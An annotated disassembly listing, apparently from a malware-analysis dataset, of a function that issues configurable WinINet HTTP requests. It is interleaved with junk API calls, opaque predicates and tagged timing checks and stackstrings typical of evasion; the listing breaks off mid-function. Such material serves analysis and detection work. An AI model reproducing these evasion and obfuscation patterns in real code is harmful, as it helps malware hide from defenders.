Function at 0x436500
Capabilities:
Check for time delay via gettickcount
Contain obfuscated stackstrings
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ca047
mov eax, dword fs:[0]
push eax
mov eax, 0x289c8
call fcn.004a9180
mov eax, dword [0x51fee0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0x10]
mov esi, dword [ebp + 0x14]
mov edi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0x28934], eax
mov eax, dword [ebp + 0x18]
push esi
mov dword [ebp - 0x28978], edi
mov dword [ebp - 0x289d4], edi
mov dword [ebp - 0x2894c], esi
mov dword [ebp - 0x28980], eax
mov dword [ebp - 0x2898c], 0
call fcn.00439370
add esp, 4
test al, al
je 0x436620
mov eax, dword [0x51fab0]
mov ecx, 0x51fab0
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x28938], eax
mov eax, str.this_module_doesnt_support_file_request
mov dword [ebp - 4], 1
test eax, 0xffff0000
jne 0x4365c4
movzx esi, ax
push 0
push esi
call fcn.00403bc0
add esp, 8
test eax, eax
je 0x4365d4
push esi
push eax
lea ecx, [ebp - 0x28938]
call fcn.004075c0
jmp 0x4365d4
push str.this_module_doesnt_support_file_request
lea ecx, [ebp - 0x28938]
call fcn.0040b480
lea eax, [ebp - 0x28938]
push eax
push edi
mov dword [ebp - 4], 2
call fcn.00435690
add esp, 8
mov esi, dword [ebp - 0x28938]
add esi, 0xfffffff0
mov dword [ebp - 0x2898c], 1
mov byte [ebp - 4], 0
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x436619
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, edi
jmp 0x438bb8
test ebx, ebx
jne 0x436679
push str.InternetOpen_Failed
lea ecx, [ebp - 0x28934]
call fcn.004213a0
push eax
push edi
mov dword [ebp - 4], 3
call fcn.00435690
mov edx, dword [ebp - 0x28934]
add edx, 0xfffffff0
add esp, 8
mov dword [ebp - 0x2898c], 1
mov byte [ebp - 4], bl
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x436619
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, edi
jmp 0x438bb8
mov eax, dword [0x51fab0]
mov ecx, 0x51fab0
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x28954], eax
mov eax, dword [0x51fab0]
mov ecx, 0x51fab0
mov dword [ebp - 4], 4
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x28964], eax
push 0x4da65c
mov ecx, esi
mov byte [ebp - 4], 5
mov dword [ebp - 0x28930], 0
call fcn.00444250
mov ecx, eax
call fcn.00444c40
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00401000
lea eax, [ebp - 0x28958]
push eax
call fcn.0044ff60
lea eax, [ebp - 0x28930]
push eax
lea eax, [ebp - 0x28964]
push eax
lea eax, [ebp - 0x28954]
push eax
lea eax, [ebp - 0x28958]
push eax
mov byte [ebp - 4], 6
call fcn.004354f0
movzx eax, al
add esp, 0x2c
test eax, eax
jne 0x4367c7
push str.InternetCrackUrl_Failed
lea ecx, [ebp - 0x28934]
call fcn.004213a0
push eax
push edi
mov byte [ebp - 4], 7
call fcn.00435690
mov edx, dword [ebp - 0x28934]
add edx, 0xfffffff0
or ebx, 0xffffffff
add esp, 8
mov dword [ebp - 0x2898c], 1
mov byte [ebp - 4], 6
lea ecx, [edx + 0xc]
mov eax, ebx
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x436765
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x28958]
add edx, 0xfffffff0
mov byte [ebp - 4], 5
lea eax, [edx + 0xc]
mov ecx, ebx
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x436788
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x28964]
add edx, 0xfffffff0
mov byte [ebp - 4], 4
lea eax, [edx + 0xc]
mov ecx, ebx
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4367ab
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x28954]
add edx, 0xfffffff0
mov byte [ebp - 4], 0
lea eax, [edx + 0xc]
lock xadd dword [eax], ebx
dec ebx
test ebx, ebx
jmp 0x436668
push str.redirectCheck
mov ecx, esi
mov byte [ebp - 0x28941], 0
call fcn.004452a0
test al, al
je 0x43680e
push str.redirectCheck
mov ecx, esi
call fcn.00444250
mov ecx, eax
call fcn.00445260
test al, al
je 0x43680e
push str.redirectCheck
mov ecx, esi
call fcn.00444250
mov ecx, eax
call fcn.00444810
mov byte [ebp - 0x28941], al
lea eax, [ebp - 0x28938]
push eax
lea eax, [ebp - 0x28929]
push eax
mov eax, dword [ebp - 0x28958]
push ecx
add eax, 0xfffffff0
mov esi, esp
push eax
mov byte [ebp - 0x28929], 0
mov dword [ebp - 0x28938], 0x50
call fcn.00404880
add eax, 0x10
add esp, 4
mov dword [esi], eax
call fcn.00435400
mov esi, dword [ebp - 0x2894c]
add esp, 0xc
mov ecx, esi
push str.port
call fcn.00444250
mov ecx, eax
call fcn.00445270
test al, al
je 0x436883
push str.port
mov ecx, esi
call fcn.00444250
mov ecx, eax
call fcn.00444940
mov esi, eax
jmp 0x436892
mov esi, dword [ebp - 0x28930]
test esi, esi
cmove esi, dword [ebp - 0x28938]
push esi
lea eax, [ebp - 0x28954]
push eax
push dword [ebp - 0x28934]
mov byte [ebp - 0x28939], 0
call fcn.00434ef0
mov ecx, eax
add esp, 0xc
mov dword [ebp - 0x28988], eax
test ecx, ecx
jne 0x4369c8
mov eax, dword [0x5220fc]
test eax, eax
jne 0x436920
mov ecx, dword [0x521340]
mov eax, ecx
imul eax, ecx
imul eax, ecx
cdq
mov ecx, 9
idiv ecx
cmp edx, 6
jne 0x4368f5
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
push str.Wininet.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test eax, eax
je 0x436917
push str.InternetConnectW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x5220fc], eax
jmp 0x43691c
mov eax, dword [0x5220fc]
test eax, eax
je 0x436940
push 0
push 0
push 3
push 0
push 0
push esi
push dword [ebp - 0x28954]
push ebx
call eax
mov ecx, eax
mov dword [ebp - 0x28988], ecx
test ecx, ecx
jne 0x4369a0
call fcn.004399c0
test al, al
jne 0x43694f
inc dword [0x521340]
push str.InternetConnect_Failed
lea ecx, [ebp - 0x28934]
call fcn.004213a0
push eax
push edi
mov byte [ebp - 4], 8
call fcn.00435690
add esp, 8
lea ecx, [ebp - 0x28934]
call fcn.00402720
lea ecx, [ebp - 0x28958]
call fcn.00402720
lea ecx, [ebp - 0x28964]
call fcn.00402720
lea ecx, [ebp - 0x28954]
call fcn.00402720
mov eax, edi
jmp 0x438bb8
mov eax, dword [ebp - 0x28980]
test eax, eax
jne 0x4369b3
mov byte [ebp - 0x28939], 1
jmp 0x4369c8
push ecx
push esi
lea ecx, [ebp - 0x28954]
push ecx
push dword [ebp + 0x1c]
push eax
call fcn.00439550
add esp, 0x14
cmp byte [ebp - 0x28941], 0
mov eax, 0x80400200
mov ecx, 0x80600200
cmovne eax, ecx
or eax, 0xc000
cmp byte [ebp - 0x28929], 0
mov dword [ebp - 0x28930], eax
je 0x4369fb
or eax, 0x803080
mov dword [ebp - 0x28930], eax
mov eax, dword [0x51fab0]
mov ecx, 0x51fab0
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x2896c], eax
mov esi, dword [ebp - 0x2894c]
push str.method
mov ecx, esi
mov byte [ebp - 4], 9
call fcn.00444250
mov ecx, eax
call fcn.004452f0
test al, al
je 0x436a7e
push str.method
mov ecx, esi
call fcn.00444250
mov ecx, eax
call fcn.00444c40
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00401000
lea eax, [ebp - 0x28934]
push eax
call fcn.0044ff60
add esp, 0x1c
push eax
lea ecx, [ebp - 0x2896c]
mov byte [ebp - 4], 0xa
call fcn.00402b30
lea ecx, [ebp - 0x28934]
mov byte [ebp - 4], 9
call fcn.00402720
mov eax, dword [0x51fab0]
mov ecx, 0x51fab0
call dword [eax + 0xc]
lea edi, [eax + 0x10]
mov dword [ebp - 0x28970], edi
push str.version
mov ecx, esi
mov byte [ebp - 4], 0xb
call fcn.00444250
mov ecx, eax
call fcn.004452f0
test al, al
je 0x436b01
push str.version
mov ecx, esi
call fcn.00444250
mov ecx, eax
call fcn.00444c40
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00401000
lea eax, [ebp - 0x28934]
push eax
call fcn.0044ff60
add esp, 0x1c
push eax
lea ecx, [ebp - 0x28970]
mov byte [ebp - 4], 0xc
call fcn.00402b30
lea ecx, [ebp - 0x28934]
mov byte [ebp - 4], 0xb
call fcn.00402720
mov edi, dword [ebp - 0x28970]
mov eax, dword [0x51fab0]
mov ecx, 0x51fab0
call dword [eax + 0xc]
lea ebx, [eax + 0x10]
mov dword [ebp - 0x28974], ebx
push str.referer
mov ecx, esi
mov byte [ebp - 4], 0xd
call fcn.00444250
mov ecx, eax
call fcn.004452f0
test al, al
je 0x436b84
push str.referer
mov ecx, esi
call fcn.00444250
mov ecx, eax
call fcn.00444c40
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00401000
lea eax, [ebp - 0x28934]
push eax
call fcn.0044ff60
add esp, 0x1c
push eax
lea ecx, [ebp - 0x28974]
mov byte [ebp - 4], 0xe
call fcn.00402b30
lea ecx, [ebp - 0x28934]
mov byte [ebp - 4], 0xd
call fcn.00402720
mov ebx, dword [ebp - 0x28974]
mov eax, dword [0x51fab0]
mov ecx, 0x51fab0
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x2895c], esi
mov ecx, dword [ebp - 0x2894c]
push str.acceptTypes
mov byte [ebp - 4], 0xf
call fcn.00444250
mov ecx, eax
call fcn.004452f0
test al, al
je 0x436c0f
mov ecx, dword [ebp - 0x2894c]
push str.acceptTypes
call fcn.00444250
mov ecx, eax
call fcn.00444c40
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00401000
lea eax, [ebp - 0x28934]
push eax
call fcn.0044ff60
add esp, 0x1c
push eax
lea ecx, [ebp - 0x2895c]
mov byte [ebp - 4], 0x10
call fcn.00402b30
lea ecx, [ebp - 0x28934]
mov byte [ebp - 4], 0xf
call fcn.00402720
mov esi, dword [ebp - 0x2895c]
xor ecx, ecx
cmp dword [esi - 0xc], ecx
mov dword [ebp - 0x289cc], ecx
mov eax, esi
cmove eax, ecx
mov dword [ebp - 0x289d0], eax
cmp dword [ebx - 0xc], ecx
mov eax, ebx
cmove eax, ecx
mov dword [ebp - 0x28934], eax
xor eax, eax
cmp dword [edi - 0xc], eax
push 1
push dword [ebp - 0x28930]
mov edx, edi
cmove edx, eax
mov eax, dword [ebp - 0x2896c]
xor edi, edi
cmp dword [eax - 0xc], edi
mov ecx, eax
lea eax, [ebp - 0x289d0]
push eax
push dword [ebp - 0x28934]
cmove ecx, edi
push edx
push dword [ebp - 0x28964]
push ecx
push dword [ebp - 0x28988]
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov dword [ebp - 0x2897c], eax
test eax, eax
jne 0x436d79
mov esi, dword [0x521340]
mov ecx, 5
lea eax, [esi + 1]
imul eax, esi
cdq
idiv ecx
cmp edx, 4
jne 0x436cf6
mov eax, 0x4ec4ec4f
imul esi
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
imul ecx, ecx, 0x1a
mov eax, esi
sub eax, ecx
cmp eax, 9
je 0x436cf0
lea ebx, [ebx]
mov eax, esi
or eax, 0xffffff55
add esi, eax
mov eax, esi
imul eax, esi
inc edi
cmp edi, eax
jg 0x436cf0
mov eax, 0x4ec4ec4f
imul esi
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
imul ecx, ecx, 0x1a
mov eax, esi
sub eax, ecx
cmp eax, 9
jne 0x436cc0
mov dword [0x521340], edi
push str.HttpOpenRequest_Failed
lea ecx, [ebp - 0x28934]
call fcn.004213a0
mov ebx, dword [ebp - 0x28978]
push eax
push ebx
mov byte [ebp - 4], 0x11
call fcn.00435690
add esp, 8
lea ecx, [ebp - 0x28934]
call fcn.00402720
lea ecx, [ebp - 0x2895c]
call fcn.00402720
lea ecx, [ebp - 0x28974]
call fcn.00402720
lea ecx, [ebp - 0x28970]
call fcn.00402720
lea ecx, [ebp - 0x2896c]
call fcn.00402720
lea ecx, [ebp - 0x28958]
call fcn.00402720
lea ecx, [ebp - 0x28964]
call fcn.00402720
lea ecx, [ebp - 0x28954]
call fcn.00402720
mov eax, ebx
jmp 0x438bb8
mov eax, dword [0x51fab0]
mov ecx, 0x51fab0
call dword [eax + 0xc]
lea ebx, [eax + 0x10]
mov dword [ebp - 0x28960], ebx
mov edi, dword [ebp - 0x2894c]
push str.contentType
mov ecx, edi
mov byte [ebp - 4], 0x12
call fcn.00444250
mov ecx, eax
call fcn.004452f0
test al, al
je 0x436e92
push 0x4dbe24
lea ecx, [ebp - 0x28930]
call fcn.00401ff0
lea eax, [ebp - 0x28930]
push eax
push str.contentType
mov ecx, edi
mov byte [ebp - 4], 0x13
call fcn.00444250
mov ecx, eax
call fcn.00444c40
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00401000
lea eax, [ebp - 0x28938]
push eax
call fcn.0044ff60
add esp, 0x1c
mov edi, eax
push str.Content_Type:
lea ecx, [ebp - 0x289a4]
mov byte [ebp - 4], 0x14
call fcn.004213a0
push edi
push eax
lea eax, [ebp - 0x28980]
push eax
mov byte [ebp - 4], 0x15
call fcn.0043f420
add esp, 0xc
push eax
lea eax, [ebp - 0x28934]
push eax
mov byte [ebp - 4], 0x16
call fcn.0043f420
add esp, 0xc
push eax
lea ecx, [ebp - 0x28960]
mov byte [ebp - 4], 0x17
call fcn.00402b30
lea ecx, [ebp - 0x28934]
call fcn.00402720
lea ecx, [ebp - 0x28980]
call fcn.00402720
lea ecx, [ebp - 0x289a4]
call fcn.00402720
lea ecx, [ebp - 0x28938]
call fcn.00402720
lea ecx, [ebp - 0x28930]
mov byte [ebp - 4], 0x12
call fcn.00402720
mov ebx, dword [ebp - 0x28960]
mov edi, dword [ebp - 0x2894c]
push str.additionalRequestHeaders
mov ecx, edi
call fcn.00444250
mov ecx, eax
call fcn.004452f0
test al, al
je 0x436f37
push str.additionalRequestHeaders
mov ecx, edi
call fcn.00444250
mov ecx, eax
call fcn.00444c40
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00401000
lea eax, [ebp - 0x28934]
push eax
call fcn.0044ff60
add esp, 0x1c
mov eax, dword [eax]
lea ecx, [ebp - 0x28960]
push dword [eax - 0xc]
mov byte [ebp - 4], 0x18
push eax
call fcn.0040b9f0
lea ecx, [ebp - 0x28934]
mov byte [ebp - 4], 0x12
call fcn.00402720
mov ebx, dword [ebp - 0x28960]
lea eax, [ebx - 0x10]
push eax
call fcn.00404880
add eax, 0x10
add esp, 4
mov dword [ebp - 0x28930], eax
lea ecx, [ebp - 0x28930]
mov byte [ebp - 4], 0x19
call fcn.00439600
lea ecx, [ebp - 0x28930]
mov byte [ebp - 4], 0x12
call fcn.00402720
mov eax, dword [0x51fab0]
mov ecx, 0x51fab0
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x28950], eax
push str.postData
mov ecx, edi
mov byte [ebp - 4], 0x1a
mov dword [ebp - 0x28930], 0
call fcn.00444250
mov ecx, eax
call fcn.004452f0
test al, al
je 0x437002
push str.postData
mov ecx, edi
call fcn.00444250
mov ecx, eax
call fcn.00444c40
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00401000
lea eax, [ebp - 0x28934]
push eax
call fcn.0044ff60
add esp, 0x1c
push eax
lea ecx, [ebp - 0x28950]
mov byte [ebp - 4], 0x1b
call fcn.00402b30
lea ecx, [ebp - 0x28934]
mov byte [ebp - 4], 0x1a
call fcn.00402720
push str.datatype
mov ecx, edi
call fcn.004452a0
test al, al
je 0x437002
push str.datatype
mov ecx, edi
call fcn.00444250
mov ecx, eax
call fcn.00445270
test al, al
je 0x437002
push str.datatype
mov ecx, edi
call fcn.00444250
mov ecx, eax
call fcn.00444940
mov dword [ebp - 0x28930], eax
mov edx, dword [0x51fab0]
mov ecx, 0x51fab0
call dword [edx + 0xc]
lea edi, [eax + 0x10]
mov dword [ebp - 0x28968], edi
cmp dword [ebp - 0x28930], 0
mov byte [ebp - 4], 0x1c
jne 0x437085
lea eax, [ebp - 0x28950]
push eax
lea eax, [ebp - 0x2881c]
push eax
call fcn.00450030
add esp, 8
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x1d
jb 0x437048
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x28968]
call fcn.0040b440
lea ecx, [ebp - 0x2881c]
mov byte [ebp - 4], 0x1c
call fcn.00401060
mov edi, dword [ebp - 0x28968]
lea ecx, [ebp - 0x28950]
mov eax, dword [edi - 0xc]
mov dword [ebp - 0x28938], eax
call fcn.00405ad0
mov eax, dword [ebp - 0x28950]
jmp 0x437096
mov eax, dword [ebp - 0x28950]
mov ecx, dword [eax - 0xc]
add ecx, ecx
mov dword [ebp - 0x28938], ecx
cmp byte [ebp - 0x28941], 0
je 0x4370dd
push 4
lea eax, [ebp - 0x28930]
push eax
push 6
push dword [ebp - 0x2897c]
mov dword [ebp - 0x28930], 0x2710
call dword [sym.imp.WININET.dll_InternetSetOptionW]
push 4
lea eax, [ebp - 0x28930]
push eax
push 5
push dword [ebp - 0x2897c]
call dword [sym.imp.WININET.dll_InternetSetOptionW]
mov eax, dword [ebp - 0x28950]
cmp dword [eax - 0xc], 0
jne 0x437101
cmp dword [edi - 4], 1
jle 0x4370fd
push dword [edi - 0xc]
lea ecx, [ebp - 0x28968]
call fcn.0040bd40
mov edi, dword [ebp - 0x28968]
mov eax, edi
jmp 0x43711b
cmp dword [eax - 4], 1
jle 0x43711b
push dword [eax - 0xc]
lea ecx, [ebp - 0x28950]
call fcn.00406060
mov eax, dword [ebp - 0x28950]
push dword [ebp - 0x28938]
mov edx, dword [ebx - 0xc]
push eax
test edx, edx
mov ecx, ebx
push edx
mov dword [ebp - 0x28934], 0
cmove ecx, dword [ebp - 0x28934]
push ecx
push dword [ebp - 0x2897c]
call fcn.0041d650
push eax
call fcn.00426d20
test eax, eax
jne 0x437235
lea eax, [ebp - 0x28930]
push eax
call fcn.004509f0
add esp, 4
push dword [ebp - 0x2897c]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov byte [ebp - 4], 0x1e
call esi
mov edx, dword [0x521340]
lea ecx, [edx + 1]
lea eax, [edx + 2]
imul eax, ecx
imul eax, edx
cdq
mov ecx, 0xd
idiv ecx
cmp edx, 1
jne 0x4371a6
push 0x57
push 0x56
push str._d__d_n
call fcn.004a90ce
add esp, 0xc
cmp byte [ebp - 0x28939], 0
je 0x4371b7
push dword [ebp - 0x28988]
call esi
push str.HttpSendRequest_Failed_with:
lea ecx, [ebp - 0x28980]
call fcn.004213a0
lea ecx, [ebp - 0x28930]
push ecx
push eax
lea eax, [ebp - 0x28934]
push eax
mov byte [ebp - 4], 0x1f
call fcn.0043f420
mov ebx, dword [ebp - 0x28978]
push eax
push ebx
mov byte [ebp - 4], 0x20
call fcn.00435690
add esp, 0x14
lea ecx, [ebp - 0x28934]
call fcn.00402720
lea ecx, [ebp - 0x28980]
call fcn.00402720
lea ecx, [ebp - 0x28930]
call fcn.00402720
lea ecx, [ebp - 0x28968]
call fcn.00402720
lea ecx, [ebp - 0x28950]
call fcn.00402720
lea ecx, [ebp - 0x28960]
jmp 0x436d20
push dword [ebp - 0x2894c]
call fcn.00439510
add esp, 4
test al, al
jne 0x4373c7
push dword [ebp - 0x2897c]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
cmp byte [ebp - 0x28939], 0
je 0x43726a
push dword [ebp - 0x28988]
call esi
push 0
lea ecx, [ebp - 0x28814]
call fcn.00443cd0
push 1
lea ecx, [ebp - 0x2899c]
mov byte [ebp - 4], 0x21
call fcn.00443dd0
lea eax, [ebp - 0x2899c]
push eax
push str.result
lea ecx, [ebp - 0x28814]
mov byte [ebp - 4], 0x22
call fcn.00444170
mov ecx, eax
call fcn.00443f80
lea ecx, [ebp - 0x2899c]
mov byte [ebp - 4], 0x21
call fcn.00443ee0
mov edx, dword [0x521340]
lea ecx, [edx + 1]
lea eax, [edx + 2]
imul eax, ecx
imul eax, edx
cdq
mov ecx, 0x18
idiv ecx
cmp edx, 1
jne 0x4372e8
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
push str.no_response_needed
lea ecx, [ebp - 0x2899c]
call fcn.00443c90
lea eax, [ebp - 0x2899c]
push eax
push str.content
lea ecx, [ebp - 0x28814]
mov byte [ebp - 4], 0x23
call fcn.00444170
mov ecx, eax
call fcn.00443f80
lea ecx, [ebp - 0x2899c]
mov byte [ebp - 4], 0x21
call fcn.00443ee0
mov ecx, dword [ebp - 0x28978]
lea eax, [ebp - 0x28814]
push eax
call fcn.00443a90
lea ecx, [ebp - 0x28814]
mov dword [ebp - 0x2898c], 1
mov byte [ebp - 4], 0x1c
call fcn.00443ee0
lea ecx, [ebp - 0x28968]
call fcn.00402720
lea ecx, [ebp - 0x28950]
call fcn.00402720
lea ecx, [ebp - 0x28960]
call fcn.00402720
lea ecx, [ebp - 0x2895c]
call fcn.00402720
lea ecx, [ebp - 0x28974]
call fcn.00402720
lea ecx, [ebp - 0x28970]
call fcn.00402720
lea ecx, [ebp - 0x2896c]
call fcn.00402720
lea ecx, [ebp - 0x28958]
call fcn.00402720
lea ecx, [ebp - 0x28964]
call fcn.00402720
lea ecx, [ebp - 0x28954]
call fcn.00402720
jmp 0x438bb2
push 0x400
lea eax, [ebp - 0x413]
push 0
push eax
mov byte [ebp - 0x414], 0
call fcn.004a8550
add esp, 0xc
mov dword [ebp - 0x289c8], 0x400
push str.Wininet.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test eax, eax
jne 0x43744b
push dword [ebp - 0x2897c]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
cmp byte [ebp - 0x28939], 0
je 0x43741c
push dword [ebp - 0x28988]
call esi
push str.HttpQueryInfo_Failed
lea ecx, [ebp - 0x28934]
call fcn.004213a0
mov byte [ebp - 4], 0x24
mov ebx, dword [ebp - 0x28978]
push eax
push ebx
call fcn.00435690
add esp, 8
lea ecx, [ebp - 0x28934]
jmp 0x43720f
push str.HttpQueryInfoA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x4374b7
call fcn.00439aa0
test al, al
jne 0x43747a
call fcn.004a8009
mov ecx, dword [0x521340]
cmp ecx, eax
jne 0x43747a
dec ecx
mov dword [0x521340], ecx
push dword [ebp - 0x2897c]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
call fcn.00439a40
cmp byte [ebp - 0x28939], 0
je 0x43749e
push dword [ebp - 0x28988]
call esi
push str.HttpQueryInfo_Failed
lea ecx, [ebp - 0x28934]
call fcn.004213a0
mov byte [ebp - 4], 0x25
jmp 0x437430
push 0
lea ecx, [ebp - 0x289c8]
push ecx
lea ecx, [ebp - 0x414]
push ecx
push 0x13
push dword [ebp - 0x2897c]
call eax
test eax, eax
jne 0x43759a
push dword [ebp - 0x2897c]
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
call ebx
mov ecx, dword [0x521340]
lea eax, [ecx + 1]
imul eax, ecx
cdq
mov ecx, 0x17
idiv ecx
cmp edx, 0xb
jne 0x437570
xor eax, eax
push 0xb47e
push eax
mov word [ebp - 0xbc98], ax
lea eax, [ebp - 0xbc96]
push eax
call fcn.004a8550
add esp, 0xc
xor edi, edi
xor esi, esi
xor edx, edx
test edi, edi
je 0x43754c
test edx, edx
je 0x43754c
lea eax, [edx + esi]
lea ecx, [edx + esi]
mov ax, word [ebp + eax*2 - 0xbdc8]
inc ax
add ax, word [ebp + ecx*2 - 0xbc9a]
mov word [ebp + ecx*2 - 0xbc98], ax
inc edx
cmp edx, 0x98
jl 0x437524
add esi, 0x98
inc edi
cmp esi, 0x5a40
jl 0x437522
movsx eax, word [ebp - 0x81a]
mov dword [0x521340], eax
cmp byte [ebp - 0x28939], 0
je 0x437581
push dword [ebp - 0x28988]
call ebx
push str.HttpQueryInfo_Failed
lea ecx, [ebp - 0x28934]
call fcn.004213a0
mov byte [ebp - 4], 0x26
jmp 0x437430
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x28948]
call fcn.004275c0
mov ecx, dword [ebp - 0x2894c]
push str.acceptedStatusCodes
mov byte [ebp - 4], 0x27
mov byte [ebp - 0x28929], 0
call fcn.00444250
mov ecx, eax
mov dword [ebp - 0x28938], eax
call fcn.00445240
mov ecx, dword [ebp - 0x28938]
test al, al
je 0x437805
call fcn.00445740
test eax, eax
jle 0x4376fa
mov esi, dword [ebp - 0x28938]
xor ebx, ebx
push ebx
mov ecx, esi
call fcn.004441b0
mov ecx, eax
call fcn.004452f0
push ebx
mov ecx, esi
test al, al
je 0x43764b
call fcn.004441b0
mov ecx, eax
call fcn.00444c40
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00401000
lea eax, [ebp - 0x28934]
push eax
call fcn.0044ff60
push eax
lea eax, [ebp - 0x28948]
push eax
call fcn.0040b510
add esp, 0x24
lea ecx, [ebp - 0x28934]
jmp 0x4376ca
call fcn.004441b0
mov ecx, eax
call fcn.00445270
test al, al
je 0x4376de
mov eax, dword [0x51fab0]
mov ecx, 0x51fab0
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x28930], eax
push ebx
mov ecx, esi
mov byte [ebp - 4], 0x28
call fcn.004441b0
mov ecx, eax
call fcn.00444940
push eax
lea eax, [ebp - 0x28930]
push eax
lea eax, [ebp - 0x28938]
push eax
call fcn.0043f4c0
add esp, 0xc
lea ecx, [ebp - 0x28930]
mov byte [ebp - 4], 0x27
call fcn.00402720
lea eax, [ebp - 0x28938]
push eax
lea eax, [ebp - 0x28948]
push eax
call fcn.0040b510
add esp, 8
lea ecx, [ebp - 0x28938]
mov byte [ebp - 0x28929], al
call fcn.00402720
cmp byte [ebp - 0x28929], 0
jne 0x4376ee
mov ecx, esi
inc ebx
call fcn.00445740
cmp ebx, eax
jl 0x4375f7
mov ebx, dword [ebp - 0x28960]
mov esi, dword [ebp - 0x2895c]
call fcn.00439af0
test al, al
jne 0x437760
movd xmm4, dword [0x521340]
movsd xmm3, qword [0x4da448]
movsd xmm6, qword [0x4da450]
movsd xmm5, qword [0x4da440]
xorps xmm2, xmm2
cvtdq2pd xmm4, xmm4
lea ebx, [ebx]
addsd xmm2, xmm3
movapd xmm0, xmm2
mulsd xmm0, xmm2
comisd xmm0, xmm4
jbe 0x43774a
subsd xmm2, xmm3
divsd xmm3, xmm6
movapd xmm1, xmm2
mulsd xmm1, xmm2
movapd xmm0, xmm4
subsd xmm0, xmm1
comisd xmm0, xmm5
ja 0x437730
mov al, byte [ebp - 0x28929]
test al, al
jne 0x4379eb
call fcn.004399e0
test al, al
jne 0x437784
lea eax, [ebp - 0x28928]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push dword [ebp - 0x2897c]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
cmp byte [ebp - 0x28939], 0
je 0x4377a3
push dword [ebp - 0x28988]
call esi
push 3
push dword [ebp - 0x28948]
lea eax, [ebp - 0x288fc]
lea ecx, [ebp - 0x28900]
mov dword [ebp - 0x28900], eax
call fcn.0042e5a0
push dword [ebp - 0x28900]
mov byte [ebp - 4], 0x2b
call fcn.004a9334
mov ebx, dword [ebp - 0x28978]
push eax
push ebx
call fcn.004357a0
mov eax, dword [ebp - 0x28900]
lea ecx, [ebp - 0x288fc]
add esp, 0xc
cmp eax, ecx
je 0x4377fa
push eax
call fcn.004a807a
add esp, 4
lea ecx, [ebp - 0x28948]
jmp 0x43720f
call fcn.004452d0
test al, al
je 0x4379d2
mov eax, dword [0x521340]
imul eax, eax
cdq
mov ecx, 0x18
idiv ecx
cmp edx, 0xe
jne 0x437844
mov edi, dword [0x521340]
xor esi, esi
mov ebx, edi
inc esi
dec ebx
cmp esi, 0x79
jb 0x437831
mov edi, dword [ebp - 0x28968]
mov ebx, dword [ebp - 0x28960]
mov ecx, dword [ebp - 0x28938]
xor esi, esi
mov dword [ebp - 0x28934], esi
call fcn.00445740
test eax, eax
jle 0x43776e
nop
mov eax, dword [0x51fab0]
mov ecx, 0x51fab0
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x28930], eax
push esi
lea eax, [ebp - 0x28930]
push 0x4da4e0
push eax
mov byte [ebp - 4], 0x29
call fcn.004359a0
mov esi, dword [ebp - 0x28930]
mov ecx, dword [ebp - 0x28938]
add esp, 0xc
push esi
call fcn.00444250
mov ecx, eax
call fcn.004452f0
mov ecx, dword [ebp - 0x28938]
push esi
test al, al
je 0x4378f1
call fcn.00444250
mov ecx, eax
call fcn.00444c40
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00401000
